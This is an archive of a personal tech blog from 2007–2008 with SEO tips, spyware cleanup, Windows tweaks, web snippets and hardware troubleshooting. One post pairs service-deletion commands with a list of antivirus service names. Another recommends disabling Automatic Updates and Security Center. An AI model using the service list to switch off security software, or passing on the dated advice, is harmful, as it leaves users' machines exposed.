Efficient JavaScript from Opera software: http://dev.opera.com/articles/view/efficient-javascript/

Update: here are another 20 steps which you can incorporate into your website:

Analysis and monitoring SEO tools that work for free

2008-01-13T00:03:00.000-08:00

There are lots of good tools that can be used to monitor your SEO campaign, but almost all of them must be purchased. For the people who want truly powerfull and free SEO tools I'll present my favorites:

http://www.backlinkwatch.com

Just type an URL and you can investigate your competiton by their backlinks - ie. which pages have voted for them.

Free monitor for google

http://www.cleverstat.com

Enter the keywords that you wish to be optimised, the check positions for example: 150 (which will limit the search maximum up to the 15th results page) and begin monitoring your results.
Benefits:

Compare with your previous results and determine the exact website changes that you've made resulted in a SERPS position change!
Closely monitor the rivals above you, and if you build a better page, you'll be on top.

Conclusion:
One of the most important and the same time simple truth that I've learned through the years of websites optimization is that in order to be on first positions you must deserve them.
I.e you have to represent constanlty relevant and updated information on the subject that you've been presenting/writing for - so the webpage to be really beneficial to the users.

Even most sophisticated backlink schemes won't get you on top of SERPS, when offering content of poor quality. The first pages search results and visitors stay time are being constantly monitored by real people, so next time it's better to think what could you offer to the visitors!

Take the spyware test

2008-01-09T06:32:00.000-08:00

Interactive quiz combined with follow up advices that will reveal your spyware recognition and teach you how to achieve further protection. A few questions that will rate your knowledge about the computer crime and how to avoid becoming a victim.
It's a general must read for anyone concerned about his/her own privacy.

http://onguardonline.gov/quiz/spyware_quiz.html

What antivirus people prefer in 2007

2007-12-27T00:50:00.000-08:00

Here are the results from the Your favorite antivirus poll.
The data has been gathered from the opinions of 100 unique people voting for their best used Antivirus product.

Results:
The top 3 most used AV solutions are: Kaspesky, AVG and NOD32.

Although 7% are already trying the new versions of SpywareTerminator, it seems that people are not familiar with the quality and speed of DrWeb.

Remove the spyware from your system

2007-12-18T04:54:00.000-08:00

Windows Vista users

Windows Vista comes out with the default free installation of WindowsDefender - having its own active antispyware protection. The missing branch is an antivirus solution. So here is what you can do:

Download and install a free antivirus program such as AVG anti virus from: http://free.grisoft.com/

or completely uninstall the integrated WindowsDefender and install the new version of SpywareTeminator - having a resident shield and combined with ClamAV for the viruses. This way you'll ensure a full protection on your system.

Laptop users

If your laptop gets infected here is how to restore its proper functioning:

1. Download the free utility SpywareTerminator from another computer: www.spywareterminator.com

2. Copy the application on a USB stick drive/CD and transfer it to the infected laptop.

3. Install and Run it. Press Scan-> Full Spyware Scan-> Start Scan Now. Wait a few minutes depending on the hard drive occupied space. Next check all the results found and press Remove Infections.

4. At this point your Internet connection should be restored and functioning so go to http://downloads.ewido.net/ewido_micro.exe

download the application and run the online avg/ewido scanner to remove any additional threads found.

5. Right click on SpywareTerminator taskbar icon

1) Check for updates - to download the latest program definitions

2) Check on the HIPS(host intrusion prevention system) to enable further protection of all files. HIPS may require you to do a full scan.

Remark: If during the cleaning process the computer suddenly stops or restarts, then you'll have to restart windows in safe mode and repeat the scanning. Congratulations, by now your laptop should be cleaned and ready for use.

Uninstalling AntiVirus products

When experiencing frequent problems with the antivirus software sometimes you should completely uninstall them and then going for a fresh installation. Remember that any application service left consumes pc’s memory. So here is how to do the proper clean up.

If you want to completely remove them go to command prompt: Start->Run->cmd
and then type:

net stop service_name

sc delete service_nameNote: when service_name consists of more than one word embrace it with quotes " "

Disable only: Open up Start->Run->services.msc and find the desired one. Click stop and then disable.

How to find service_name – just find the software name in the services.msc list and look at its properties (Right Click). Then under the tab General you’ll see the "Service name"

List of specific antivirus software services:

Application : Service name

A-squared Free: a2free

AVG Email scanner, Alert Manager Server & update: AVGEMS, Avg7Alrt, Avg7UpdSvc

Avira AvtiVir PersonalEdition Classic Guard & scheduler: AntivirService, AntivirScheduler

AVAST: aswUpdSw, avast! Antivirus, avast! Mail Scanner, avast! Web Scanner

SpywareTerminator Realtime Shield& ClamAV: sp_clamsrv, sp_rssrv

Symantec: SymAppCore, Symantec Core LC, ccEvtMgr, ISPwdSvc, CLTNetSnService, ccSetMgr

WindowsDefender: WinDefend

More information:

http://www.pcmag.com/article2/0,2704,2138042,00.asp

http://www.pcworld.com/article/id,136205/article.html

http://www.pcmag.com/category2/0,2705,1639157,00.asp

Benefits of Google's Blogsearch

2007-11-23T00:17:00.000-08:00

There are many ways of searching for information. Via the standard search the first results pages are owned by the big websites, because of their regularly updated fresh and relevant content.

But what if you want to reach a more specific and user experienced information?
Here comes the Google's blogsearch-http://blogsearch.google.com/ - searching in the updated and new blogs posts. This powerful service could help you to explore fresh websites and look further for appropriate details. It‘s also an ideal way for finding niche full with relevant information.
These are the blogs that couldn't compete with the regular websites, but the information out there is fresh and experienced from the blog owners. I was really impressed how many beautiful niche sites I've found this way.

Alternative: Google Alerts - receive an email when your "keywords" are mentioned somewhere on the web.
I've tried this service but most of the emails I've got were full with irrelevant keywords even if I tried to put them in "quotes".

Cheers!

Fixing duplicate content caused by sessions

2007-11-04T10:44:00.000-08:00

As mentioned in Webmastercentral blog Google duplicate content caused by URL parameters, and you

URL parameters, like session IDs or tracking IDs, cause duplicate content, because the same page is accessible through numerous URLs.

More information on the dynamic urls effect to search engines as well as how to manage them using yahoo's site explorer you can find here:
http://help.yahoo.com/l/us/yahoo/search/siteexplorer/dynamic/index.html

So if your CMS, blog or e-commerce has AJAX back button navigation, or just a login system with session IDs appended to the url, it causes duplicate content! The same is true for frames with tracking ids attached.

After a long searching following with a technique from webmasterworld's member JDmorgan I've succeeded to get ~90% of my website content fully spidered.

Here is how to implement this technique on practice with dynamic content using .htaccess:
Just put the following lines in your .htaccess file and test

first we allow only .html pages to be spidered

#allow only .html requests

RewriteCond %{query_string} .
RewriteRule ^([^.]+)\.html$ http://your_web_site.com/$1.html? [R=301,L]

then we remove all the sessionid parameters when a page is being called by bots

#remove URL sessionids
RewriteCond %{HTTP_USER_AGENT} Googlebot [OR]
RewriteCond %{HTTP_USER_AGENT} Slurp [OR]
RewriteCond %{HTTP_USER_AGENT} msnbot [OR]
RewriteCond %{HTTP_USER_AGENT} Teoma
RewriteCond %{QUERY_STRING} ^(([^&]+&)+)*PHPSESSid=[0-9a-f]*&(.*)$
RewriteRule ^$ http://your_web_site.com/?%1%3 [R=301,L]

Additional information:
A chain of 301 redirects could cause you a loss of PageRank.
So please check that your 301 redirects are final i.e. they point to an end page and not to another redirect page. You can use for Firefox's LiveHTTPHeaders extension to do this kind of check.

Next you can read some more methods of escaping the sandbox: Deoptimizing - a new way of SEO

Enjoy and be welcomed to share your experience!

Update: if you don't have an access to .htaccess file you could achieve the same functionality using the cannonical tag - just take a look at these SEO penalty checklists series.

More security on adsense

2007-11-04T01:10:00.000-07:00

If you are using Google AdSense as a revenue advertising system, then you might want to implement these security measures in order to prevent someone from displaying your adverts with a wrong purpose in mind(i.e. click frauds or placing ads code on inappropriate website)

Here are the steps to ensure that your ads are displayed on purpose:
1. Login to AdSense
2. Click on AdSense Setup tab->Allowed Sites
3. Under List your allowed URLs, one per line:
type your trusted websites that you allow ads to be running on

That's it!

Strengthen your Internet Explorer settings

2007-11-01T10:57:00.001-07:00

After the Bulgarian security researcher Dancho Danchev has discovered a network of malware affected websites: http://ddanchev.blogspot.com/2007/10/portfolio-of-malware-embedded-magazines.html

here is how to further protect yourself from that kind of web exploit by disabling IFrames in Internet Explorer:

Go to Tools->Internet options->Security->Internet->click on Custom level... button then on security settings check disable Launching programs and files in an IFRAME

Read more at: http://msmvps.com/blogs/spywaresucks/archive/2007/10/28/1269330.aspx

My blog and Google

2007-10-21T23:59:00.001-07:00

22.10.07
After a long fight with duplicate content issues and meta title&description uniqueness here are the results that I've found based on my blog: http://nevyan.blogspot.com

- the blog content is fully spidered, but only half of the pages are in the main Google's index. I think that some time'll have to pass before the full recrawl and indexing to occur.

Here is what I've changed to the original blogger template:
- added 'nofollow' attribute to all blog feeds and external links(blog feeds were showing in google's results, increasing the keyword density thus raising a penalty).
- removed the description fields as it's pointed in googlewebmastercentral(either have them done correctly or no at all)

"We frequently prefer to display meta descriptions of pages (when available)..."
http://googlewebmastercentral.blogspot.com/2007/09/improve-snippets-with-meta-description.html

Using current Blogger platform with such dynamic content creation I think there's no way of writing unique meta descriptions and titles for each post. So in order to escape the duplicate title, description and h1 tags I've removed the meta description tag.
- created separate sitemap page with links to the internal blog posts. This time without 'nofollow' attribute. This way the sitemap functions as an entry to the blog posts.
- checked all the blog content to ensure that keyword density is bellow 2% - so it's not perceived as spam.
- added 'base' tag pointing to my blog's URL to ensure that search engines will know the originating post in case of content scraping.

The only think that I am worried about is the negative impact on the traffic that could have my SEO/webdesign posts on blog related on spyware.

25.10.07
I've touched a little bit the overall design. The number of indexed pages are going up and up!

How to make a LAN cable

2007-10-10T02:24:00.001-07:00

Here is one good quality video on how to make yourself a network cable. It's very practical and I hope you'll enjoy it!

and another one on network cable installation

Publish your blog using Word 2007

2007-09-29T23:04:00.001-07:00

Here is an easy way to publish your blog from your favorite editor.
Advantages: You have larger editing/designing space. Single login procedure.

Here is how to do it: Open Microsoft Word 2007 and start designing your post/article. When finished go to main menu Publish -> Blog

You'll be prompted to register Blog Account. Go to Register Now.

Then choose your blog provider from:

Windows Live Spaces
Microsoft Windows SharePoint Services
Community Server
WordPress
Blogger
TypePad

Type your credentials and you are done.

Congratulations!

CSS styled forms

2007-09-22T12:12:00.000-07:00

Here is one simple method for styling valid XHTML form with CSS without using additional divs or paragraphs. The code is tested and works on Mozilla 2.x, Opera 9.x and Internet Explorer 7. Try it!
Preview:

The CSS part:

<style>
fieldset label{
cursor:pointer;
display:inline;
width:90px !important;
line-height:16px;
text-align:right;
}

input,textarea{
border-width:2px 1px 1px 2px;
font-size: 1em; font-weight:bold;
overflow:auto;
margin-left:5px;
}
</style>

The XHTML part:

<form>
<fieldset>
<legend>Login: </legend>
<label for="Login">Username: </label>
<input id="Login" name="login" maxlength="8" size="8" type="text" /> <br/>
<label for="Password">Password: </label>
<input id="Password" name="password" maxlength="8" size="8" type="password" /> <br/>
<input name="Submit" value="Submit" type="submit" />
</fieldset>
</form>

Frequent problems with USB flash, hard and floppy disk drives

2007-09-20T01:27:00.001-07:00

Flash drive is not recognized
Cause: This generally happens when incorrect drivers are being installed on Windows 98 or ME. Windows 2000, XP and Vista have working drivers for most of the flash manufacturers.
Solution: If you experience such problems try placing the flash drive on other machine. If there is still no result the flash drive could be damaged.

Often the problem is software based and could be solved by reformatting the drive. Unfortunately this way you’ll lose all your data. When doing this please obtain the format utility directly from the flash drive manufacturer.

If the problem is on hardware level such as malfunctioning controller or damaged memory try consulting special service technician. Be warned that the repair cost will be equal to the price of a new device. So this method is recommended only for a unique data.

Flash drive is recognized, but you don’t have an access to its contents (corrupted or protected data).
Cause: Every flash drive now has a data protection software or specific file system folders or partitions lock (NTFS, WinFS, ReiserFS, XFS).
Solution: If data reading is still impossible here are some programs that might help you: GetDataBack, R-studio, iRecover, FileScavenger, DataRestore, ZipRepair.

Hard drive is not recognized by BIOS or is recognized incorrectly
Cause: There is a possible physical damage in the chipset electronics or mechanical problems around the hdd plates and heads.
Solution: Contact qualified service technician. For those that will want to try: download PC 3000 and surf around www.hddguru.com forums.

Hard disk have bad sectors and data cannot be read from
Solution: Try to correct the bad sectors with HDD regenerator. Then use programs for logical restoration.

The Windows OS is not loading
Cause: There are logical failures that restrict the data access. Usually the problem is within the OS.
Solution: Connect the hdd as a secondary drive to a computer with working operation system and try copying data from the damaged drive. Be careful - it’s highly recommended to install antivirus software on the computer. If data loss is due to a destructive virus antivirus will stop its spreading on the new machine.

Data loss due to incident format or file deletion
Solution: Try these restore programs: Get DataBack, R-Studio 3.6, Flobo floppy bad sector repair or some of the applications listed here http://www.ontrackdatarecovery.com/.

No application could guarantee you fully data recovery, so do frequent archives and data backup.

Scripts

2007-09-19T01:33:00.004-07:00

Scripts

Skin care

2007-09-19T01:33:00.003-07:00

Skin care

Try the honey massage

Herbal acne treatment

Clear acne with honey

Clean your liver to clear up acne

How to fight acne I

How to fight acne II

Benefits of omega 3 fish oil I

Benefits of omega 3 fish oil II

Benefits of omega 3 fish oil III

Windows

2007-09-19T01:33:00.002-07:00

Windows

Internet connection sharing problems on Windows XP SP2

Windows installation of Php, Mysql & Apache

How to share Internet connection in Windows XP

How do you test your PC?

Advanced hard drive partition and geometry recovery

How to do an easy Windows reinstall

How to Restore Show Desktop button on taskbar

Frequent problems with USB flash, hard and floppy disk drives

How to make a LAN cable

USB flash drives - work advices, problems and resolutions

Speed up windows xp services

Keep your printer clean and running - II

How to clean up a laptop from viruses

How to repair a usb drive

How to recover deleted files on formatted drive?

Keep your printer clean and running - I

Free up RAM on your PC

Defragmentation for your hard drive

How to repair windows - quick fixes

How to protect from Windows WMF exploit

How to clean up Windows

What computer should we buy?

Messengers - ICQ, MSN, Yahoo, AOL

Anti-spyware

2007-09-19T01:33:00.001-07:00

Anti Spyware

Web - Design, Development and SEO

2007-09-19T01:33:00.000-07:00

Web - design & development

Blogger

SEO, Google Sandbox

SEO Penalty Checklists series

Adsense

USB flash drives - work advices, problems and resolutions

2007-09-11T00:07:00.000-07:00

1. Prior working with USB device check whether your USB port is correctly wired and its leading voltage. Often front panel ports are being switched incorrectly or have increased power voltages due to a low-quality power supply. In such case the USB drive could possibly damage. If you are unsure use the USB outlets on the back panel of the computer’s main board.

2. Take care of your hands static electricity before turning the flash drive on. By default flash drives have protection against such static electricity but don’t solely rely on that.

3. After finishing work before unplugging use the option for safety switching off -> (Safely Remove Hardware) on your Taskbar. This will save you lots of further lost data troubles.

4. When carrying or transporting use the drive’s original fabric package. Don’t put it on your pockets or experiment with soft wrappings that allow the USB connector to fold or dirt to go through.

5.Flash disk drive is designed for an operational data work but not for an ongoing stable archive. If you wish to have such archive better use CD-R/RW or DVD-R/RW.
Flash memory could be read numerous times from, but its writing is limited. The reason: in order to do a recording one specific memory area must be deleted first. And this very area could handle only limited number of deletions.

Pros:
- over DRAM and RAM - it is power independent (when you turn the device off the content stays inside).
- over hard drives, CDs and DVDs – it has no moving parts.
That’s why the flash memory is a compact, cheap and gives relatively fast way of data access.

Check your website

2007-09-07T23:42:00.000-07:00

Simple steps for your website ensuring long term:
- proper functioning(happy visitors)
- quality traffic
- penalty free

1. Canonical urls
Check whether your website is listed in google and yahoo SERPS listings via: http://yourwebsite.com or http://www.yourwebsite.com and manually rewrite all internal links to the already indexed version.
Permanently redirect using mod_rewrite your index.html page to the indexed website URL (i.e http://www.yourwebsite.com/).

2. Link weight

Use Supplemental Results Detector http://www.seo4fun.com/php/pagerankbot.php to distribute evenly link weight between your pages.

3. Source Ordered Content – display your content first to search engines via CSS
Example: http://layouts.ironmyers.com/100_percent_Layouts/layout/?id=5
4. Loading time

Use Firebug - http://www.getfirebug.com/ network monitoring feature to detect and optimize the slow loading elements.

5. JavaScript
Place JavaScript at the end of your page - this way the page content will load first.

Linux commands for website admins

2007-09-06T03:44:00.000-07:00

Use PUTTY and set its default encoding to UTF-8

Hardware/Software information:
/proc/cpuinfo : processor
/proc/meminfo : memory
/etc/redhat-release
/etc/fedora-release
/etc/debian-release
w : active users
uptime : since when the system has been turned on
top : running processes
free -m : memory
uname - a : kernel version
/etc/sysconfig/i18n must be LANG=”en_US.UTF-8″ for English localization
set - set shell environment variables

Networking
netstat -a : network connections
iptables -L : firewall settings list
ifconfig : network cards list

Directories/files
pwd : shows current working directory
du -sh : shows the directory size
passwd : change the default root password
yum install mc : to install mc
df -h : shows hard drive partitions

Apache
service httpd status : apache working status
apachectl configtest : test apache configuration
dig google.com : check whether the site is reachable

Working with archives:
rpm -ihv filename.rpm : install packages
tar -czvf filename.tar.gz : archiving
tar -xzvf filename.tar.gz : extracting
dpkg -i filename.deb : installing

Speed up windows xp services

2007-07-17T00:15:00.000-07:00

There are several ways that can actually speed up your Windows XP. Here I'll show you 3 of them which are tested and appear to be most useful:

1. Disable the file indexing. HOW: goto My Computer >Right click on your hard drive letter and then uncheck 'Allow indexing service to index this disk for fast file searching'

2. Apply the Windows Classic style. HOW: Right click on your desktop and from the tab Themes choose 'Windows Classic'.

3. Disable the following unneeded services from:

Start->Run->services.msc
then click on the Properties tab
and then Disable

Note: When disabling services do immediate after-wards tests to see that your hardware/software is working correctly. Also track the changes that you are making so in case of failure to be able to restore the previous system state.

Task Scheduler - Schedules unattended tasks to be run. If you don't schedule any tasks, turn it off
Uninterruptible Power Supply - Manages an Uninterruptible Power Supply(UPS) devices
Automatic Updates - Automatically checks for Windows updates
Alerter - Notifies selected users and computers of administrative alerts
Error Reporting Service - Bug sending to Microsoft
Event Log - Records event messages to be viewed in Event Viewer
Fast User Switching - If you are the only user on the computer turn it off
Help and Support - If you use Windows Help and Support leave this enabled
Human Interface Access Devices
Indexing Service - Creates unnecessary file indexing
Machine Debug Manager - Program and script debugging for developers
Messenger - Windows messenger not MSN. If you don't want to receive pop-ups via net send ip-address message disable it
Portable Media Serial Number - Locates SN of connected music devices
Secondary Logon - If you don't want to start programs as a different user disable it
Security Center - Monitors your system security settings and notifies if they are insecure. If you have independant antivirus/firewall software you don't need this.
SSDP Discovery Service - security threat. This is used by Windows Messenger
Themes
Universal Plug and Play Device Host
Windows Image Acquisition - leave it if you are using optical devices such as a scanner or a camera
Windows Time - Sets your clock time from Internet

Network-oriented services:
Clipbook - Your clipboard will be accessed remotely over the network
Computer Browser - If you want to browse LAN servers(My Network Places) leave it started
Distributed Link Tracking Client - Maintains links to files over the network
IPSEC Services - creating secure connections to private networks across a public network ie. Virtual Private Networking (VPN)
Netmeeting Remote Desktop Sharing - Users can look at your desktop
Remote Desktop Help Session Manager - Allows users to connect to your computer
Remote Procedure Call Locator - Microsoft Exchange Server depends on this
Remote Registry - Access your registry remotely
Routing & Remote Access - Advanced routing, makes your computer to function as a network router
Server - If you share files, internet or printers you need it
Telnet - Access your computer remotely
TCP/IP NetBIOS Helper - You need it if you use NETBIS for file sharing
Workstation - You need if you are using Internet Connection Sharing or Internet Connection Firewall
Windows Firewall / Internet Connection Sharing (ICS)
Wireless Zero Configuration Service - Automatically configures a Wi-Fi (802.11) network card. Disable this only if you're not using Wi-Fi.

Troubleshooting:

Network printers
If your printer is accessed over network you may experience printer spooler errors. The problem is that the Print Spool service depends on Remote Procedure Call, Remote Procedure Call Locator and Workstation services. Just re-enable them.

Usb audio devices
Human Interface Access Devices service is used for USB audio system. Don't disable it if you are having phones or a keyboard with volume control.

File and printer sharing
The server service controls file and print sharing, also do not disable workstation if you are connect to a network drive. Otherwise it will become inaccessible.

Plug and play devices
Plug and play service manages every pnp capable device on your computer so if disabled you may experience lot of problems when plugging gadgets in usb ports.

DHCP service
If you use DSL modem or have IP dynamically assigned then leave the DHCP turned on.

Also you may try the WinServiceManager from:

http://securityxploded.com/winservicemanager.php

It will help you to discover and manage the non-legitimate(non-windows) services found on your system.
4. Don't forget to reboot the system.

CSS only website headers

2007-06-23T06:10:00.000-07:00

For having such nice header just add the following CSS rules to your H3 tags:

<h3> My section </h3>

Here are the CSS rules:

h3 {
background: #EDEDED;
padding: 5px 5px 5px 10px;
font-size: 1.3em;
font-family: "Times New Roman", Times, serif;
color: #818080;
font-weight: normal;
margin-bottom: 10px;
}

Another one:

h3 {
margin: 0 0 0.5em 0;
padding: 5px 5px 5px 10px;
font: normal 135%/1 arial,sans-serif;
letter-spacing: -0.03em;
clear: left;
color: white;
background: #A5CC7A;
}

h3 {
font: normal 255%/1 arial,sans-serif;
letter-spacing: -0.04em;
background: url(bgr.gif) repeat 0 0;
padding: 0.55em 0.1em 0.63em 1.1em;
color: #36a;
}

bgr.gif is a normal gif file(width=1px, height=100px; filled with gradient color).

h3 {
width:200px;
border-bottom:1px solid #E0EAF6;
color:#4C7599;
font-family: "HelveticaNeue-Light", "Helvetica Neue Light", Helvetica, Arial, sans-serif;
font-size:18px;
text-decoration:none;
}

h3{
padding:6px 6px; 3px 6px;
border-bottom: dotted 1px #000000;
color: #487377;
background: #d0e4d0;
text-transform:lowercase;
font: 18px bold;
line-height: 0.8em;
}

h3 {
text-transform:uppercase;
font-size:1.6em;
font-family:arial,verdana,sans-serif;
background:black;
color:white;
width:200px;
letter-spacing: -0.1em;
}

If you want to control the width of the section just place
width: 200px; in the CSS code.

Create website logo in photoshop

2007-06-17T01:03:00.000-07:00

Here is a quick way to design your own web page logos using Photoshop/Imageready:

1. Find a suitable image to use
2. Copy and paste it in Photoshop/Imageready.
3. Go to Image->Canvas size and resize the width to 600px.
4. Place the image on the left side of the canvas.
5. Select using single row selection the right part of the image.
6. Go to Edit->Define pattern.
7. Deselect, Create new layer and goto Edit->Fill->Use Pattern.
8. Erase/Smudge any part of the image layer until it blends correctly.
9. Use Gradient styling to the new layer to enhance the visual effect. Also if you want more clear initial image apply Filter->Artistic->Cutout to the photo at the beginning.

Finished examples:

Blogger recent comments and posts howto

2007-06-11T08:21:00.000-07:00

1. Create empty HTML/JavaScript widget from Page Elements.
2. Find these tags in Template->Edit HTML code view:

<div class='widget-content'>

</div>

3. Copy and Paste this JavaScript code between them:

<script type='text/javascript'>

/** Code taken from Sample at Code.Google.com **/

/**
* Lists blog entries from the specified JSON feed
* by creating a new 'ul' element in the DOM. Each
* bullet is the title of one blog entry, and contains
* a hyperlink to that entry's URL.
*/
function listEntries(json) {
var ul = document.createElement('ul');

for (var i = 0; i < json.feed.entry.length; i++) {
var entry = json.feed.entry[i];
var alturl;

for (var k = 0; k < entry.link.length; k++) {
if (entry.link[k].rel == 'alternate') {
alturl = entry.link[k].href;
break;
}
}

var li = document.createElement('li');
var a = document.createElement('a');
a.href = alturl;

var txt = document.createTextNode(entry.title.$t);
a.appendChild(txt);
li.appendChild(a);
ul.appendChild(li);
}

document.getElementById('data').appendChild(ul);
}

function search(query, type) {
removeOldQueryResults();

var script = document.createElement('script');
script.setAttribute('src', 'http://' + query + '/feeds/' + type +
'/default?alt=json-in-script&callback=listEntries');
script.setAttribute('type', 'text/javascript');
document.documentElement.firstChild.appendChild(script);
}

/**
* Removes results from the previous search, including
* the bullet list of blog entries and the script object
* used to obtain the feed.
*/
function removeOldQueryResults() {
// Remove the script element used to perform the query.
var script_nodes = document.getElementsByTagName('script');
for (var i = 0; i < script_nodes.length; i++) {
var cur_node = script_nodes[i];

if (cur_node.src && cur_node.src.indexOf('json') != -1) {
cur_node.parentNode.removeChild(cur_node);
}
}

// Remove the bullet list of blog entries.
var div = document.getElementById('data');
if (div.firstChild) {
div.removeChild(div.firstChild);
}
}

homeUrl = "<data:blog.homepageUrl/>";
var arr = new Array(4);
arr = homeUrl.split("/",4);

// To change from recent comments to recent posts, replace with:
// search(arr[2], "posts");

search(arr[2], "comments");

</script>

You are ready. Test it and enjoy!

ZoneAlarm - how to use it

2007-06-01T10:05:00.000-07:00

Here is an online flash tutorial on using the free firewall from ZoneAlarm:

http://download.zonelabs.com/bin/media/flash/clientTutorial/overview.html

Tip: When you want to play games over internet without interruption from the firewall just right click on the menu and select Game Mode...

302 redirecting webdirectories in Bulgaria

2007-05-12T00:52:00.000-07:00

Here is a sample list of 302-hijacking domains in .bg area. I hope that their webmasters will fix them soon.
http://yoobg.borsa.bg/
http://start.bg/
http://www.vratza.com/
http://www.2x5.net/
http://ida.bg/
http://www.bulgariantop100.com/
http://bgtop.net/
http://bgrank.com/
http://www.bulgariantop.com/
http://www.gbg.bg/
http://www.all.bg/
http://www.kaiowas.biz/

Keep your printer clean and running - II

2007-04-24T08:29:00.000-07:00

Here are some of the frequently asked questions by people having problems with their printers. Hope they'll help you.

Q: The printer prints constantly one document and couldn't stop. There are no documents in the queue, everything is canceled, but the process never stops.
A: Turn off the device. Discard the interface cable and re-cancel if there are any jobs left. Wait 1-2minutes and turn again the printer on.

Q: My printer is turned on but the printing don't start. What to do?
A: Look at the previous answer.

Q: My printer has an USB interface. Is there any device that I might use to connect it to the Local Area Network so every connected client to be able to print?
A: There are so called USB-hubs that could connect your device to other computers. An easier way is to share your printer in a network. HOW: Go to the printer device, right click Properties and set up the File&Print Sharing.

Q: I've filled up my printer cartridges, but I was told to clean the black cartridge with water because of a leakage. It stayed one night in water and now works fine, but my color one now emits only blue and red. What to do?
A: Open the printer and take a small syringe. Carefully blow/clean up the cartridge dusses and cartridge loading sockets. During cleaning procedure use cotton balls and distilled water. Wait 1 day and try again printing. Other way is to run the diagnostic page or Head Cleaning utility.

Q: My device doesn't print to the end: it goes to one position and returns the page half printed.
A: Probably the paper leading rollers are dirty. Clean them up in order for the page to flow fluently.

Q: When printing, vertical shades or duplicated text started to appear. What is that?
A: Your laser printer coating is damaged. You need to buy a new toner cartridge and replace it.

Q: My printer accepts freshly refilled cartridge as empty and doesn't start printing.
A: Apparently your tonner cassette has a device, counting the number of printings. There exist service applications that will null the counter so you could print again.

Q: After windows reintallation my printer doesn't recognize its own drivers?
A: Turn off your antivirus protection. Delete the installed drivers from control panel->system->hardware->device manager. Restart and install the drivers again. If that doesn't work go to "driver update" or control panel-> add new hardware and load the drivers from the CD-drive.

Q: During printing the page contains only text without graphical elements.
A: Insert separately the graphical elements as an object or picture. Also check if there are any objects marked as non-printable from the application settings.

Q: The page is empty like there is no ink left.
A: Possible reasons: problems with the printer head: stuffed, empty or dried ink.

Q: Pale stripes appearing on the page.
A: The printer drum has an anti-static cover that might be damaged. Replacement is necessary.

Q: My printer is repeatedly printing same document.
A: Turn off the printer and cancel all printer jobs/queue.

Q: My printer couldn't print in Cyrillic.
A: If you are using TrueType fonts there should be no problems. Probably you are working with Unicode fonts. In case of Adobe products look for suitable Cyrillic fonts, for ms office you could use fonts such as SPBasquerville, Timok, Hebar...

Laptop virus removal - howto

2007-04-20T05:35:00.000-07:00

Click here to continue reading: http://nevyan.blogspot.com/2007/12/remove-spyware-from-your-system.html

Deoptimising - a new way of SEO

2007-04-15T01:18:00.000-07:00

I'll start this post with the assumption that you have experienced problems with the new google's ranking algorithms. I.E sometimes your website might appear at the end of search results(950 page), at 6, 30, 60th position or may be listed as supplemental. Possible reason might be that it has lost its trustrank and have the so called 950 penalty applied at runtime. So in order to escape here is what to do.

Check whether you need to deoptimize:
If you want to see all the non-supplemental pages from your just type in google:
site:www.yourwebsite.com/*

Then to see just the supplemental pages from your site type:
site:www.yourwebsite.com/ -site:www.yourwebsite.com/*

Keep the ratio below 50%

Also try the automated supplemental ratio tool: http://www.mapelli.info/tools/supplemental-index-ratio-calculator

What to do next:
1. Validate your website

2. If you use plenty of H1,H2,H3 tags remove most of them or replace 'H1' with stylized 'H2' or 'span' and 'strong' tags.

3. Don't use same data in: 'title', 'h1', 'meta description' tags.

4. In your website inner-linking navigation use same linking structure. Using same 'title' attributes in the menu on every page of your site is considered as spam.

5. Your affiliate/referral links should differ in anchor text. Please check the 'title' attributes to be unique and avoid keywords stuffing there.
Pay special attention to 'title' and 'alt' attributes: if they are overstuffed google bot will just place the first few lines of your page as a description in its search results which turns to be your repeating website heading information.
Solution: examine what your search results look like(site:http://www.yourwebsite.com), see what exactly indexes google and make according changes ie. reduce the 'title' attributes.

6. Remove any static content from the bottom page of your website especially the outbound links, etc...

7. Check your affiliate links whether they are thematic or not. Remove those that are not connected to your site theme or add rel="nofollow" to them. If your site displays RSS feeds be sure to add rel="nofollow" also.
Update: Try this tool to find whether you are linking to bad neighbourhoud websites: http://www.bad-neighborhood.com/text-link-tool.htm

8. Deoptimize - lower your content keyword density

http://www.webconfs.com/keyword-density-checker.php

and check your content for spam here:

http://tool.motoricerca.info/spam-detector/

Blogger users note: check out your navigation(posts archive) - too many links to posts with keywords in their titles increase the overall post keyword density so be careful.
when using forms you may also look over your hidden field values: do not use keywords there - it's an easily misunderstood issue.

9. Limit the usage of 'title' attributes in the <a href> tags as well as <b>/<strong> tags -> they weigh to the content presented in the SERPS.

These might sound as drastic measures but I've already managed to escape 3 websites using the above techniques. So experiment and look what will happen. Wait and hopefully soon you'll be out of the google's supplemental index too.

For more information look at:

Is your website in Google's sandbox?

Duplicate website content and how to avoid it

Update: If you've tried everything above but still aren't satisfied from results:
1. Load your navigation/advertising section using AJAX request not purely via JavaScript

2. Check google's webmasters tools and fix if there are any potential duplicate issues

3. Check all of your subdomains for supplemental results and fix them as soon as possible.

Place webcam stream on your website - howto

2007-04-07T09:00:00.000-07:00

Here are two free programs that will help you to put live streaming video from your webcam to your website. There are several methods to do this. One of them is to constantly upload captured image to the website and then just to refresh the picture of the website using JavaScript.
The second one is better because it saves bandwidth and time - to run your own web cam server. The following applications support both methods.

Dorgem is good free program that can be used for image capturing. It will slow down while uploading the image, but the overall performance is excellent.

http://dorgem.sourceforge.net

Dcam

http://sourceforge.net/projects/dcamserver/

Start the programs and adjust your website settings: username, password, directory - where the images will be uploaded. Set the captured image name to image.jpg. Also you may fine tune the update time of the upload for example 2 or 10 seconds.

The following is a code that you must place in your webpage:

<img id="webcam" src="image.jpg">
<p>Refresh Interval(seconds): 5</p>

<script language="JavaScript" type="text/javascript">
setInterval('document.getElementById(\'webcam\').src=\'image.jpg?l=\'+(new Date).getTime()',5*1000);
</script>

Replace 5*1000 with any number you would like to refresh the client web page.
5*1000=5 seconds.

Click Start or Capture now watch and enjoy!

...
also you may try the free Jing Project:

http://www.jingproject.com/

which allows you to capture video and upload it to Screencast.com, a local folder, a network drive, an FTP server.

How to repair an usb drive

2007-03-24T04:24:00.000-07:00

Sometimes you can experience problems with your usb device. If you receive messages such as:

media not found, no flash disk attached, unknown device

or windows cannot detect your drive then you can do the following:
1.Recover the lost files from the drive or just access your data with the help of programs such as:
FileScavenger, EzRecovery, UstorageTool, Recover My Files, R-Studio, EasyRecovery and GetDataBack

2. Get detailed information about your usbdrive:
In order to download from your manufacturer website a low level repairing/formatting utility you have to find your chipset manufacturer. These programs will show the important PID/VID values:

http://www.antspec.com/files/usbflashinfo.zip
http://www.linux-usb.org/usb.ids

3. Format the usb device in low-level and then in high-level.
Try the following formatting utilities. I hope they'll help you.
Jetflash formatter
